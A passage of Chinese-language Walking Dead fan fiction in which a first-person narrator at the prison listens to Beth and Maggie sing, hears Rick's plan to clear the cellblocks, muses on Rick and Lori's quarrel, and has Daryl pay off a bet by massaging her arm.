火光映照着贝丝天使般的脸庞,她唱起这首爱尔兰民谣,不像是属于这个浑浊的世间,倒像是不食人间烟火的精灵误入凡尘。她唱到一半,玛姬开口和声,两个年轻的姑娘宛若大雨中的路灯,纵使雨水淋潦,灯光依旧。 一曲唱完,检查铁栏的瑞克与在外门口放哨的达里尔都加入我们围坐在一起,瑞克打断我们的放松时光:“最好都睡一觉,我来守夜,明天还有大事要做。” “什么意思?”格伦问。 “我知道大家都精疲力尽了,今天我们赢得很漂亮,但是我们还得再努力一下,大部分行尸都穿着守卫和囚犯的衣服,看起来这个地方很早就沦陷了,也就意味着物资可能会很充足。监狱会有医务室,食堂,还有不会太远的军械库,狱长办公室里会有位置信息。这个地方拥有武器、药品、食物,是个大金库!” 赫谢尔点明难处:“我们的弹药太少了,杀不了几个就会用完。” “所以我们要进去,近身肉搏,”他语气平淡,习惯了无休止的战斗,这听上去貌似算不得什么,“我们一起经历了那么多事情,我们能赢的,我有信心,这帮混蛋死定了。” 瑞克信心十足,撂下这句话就走开了,洛莉追上去,他们两个的关系还没有缓和。肖恩虽然走了,可我们都不知道肖恩是怎么走的,我会想肖恩说不定其实被瑞克杀了,我偷偷问过卡尔,他也不知道,他说在农场逃跑的时候,肖恩跑着跑着就不见了。 一开始洛莉以为是瑞克强行赶走了肖恩,我听到他们夫妻两个吵架,瑞克对她渐渐冷淡,时至今日。 “瑞克不该那样对洛莉,他会后悔的。”我望着他们自言自语,被达里尔听去,他手掌按住我的后脑勺,叫我别管别人的家事,“那我说点我们的事,还记得之前的赌约吗?” “记得,你赢了,我问过瑞克,确实是在为孩子争吵,为肚子里的孩子。” “那么愿赌服输,我手臂有点酸,你帮我捏捏,轻一点,别给我捏疼了。” 也是好起来了,让达里尔·迪克森给我捏胳膊,他百般不情愿,调侃我细胳膊细腿,软弱无力,但还是言而有信地捏了一会儿,给我捏困了,只听见他嘀嘀咕咕不知道在念叨什么,反正肯定又是中听的话。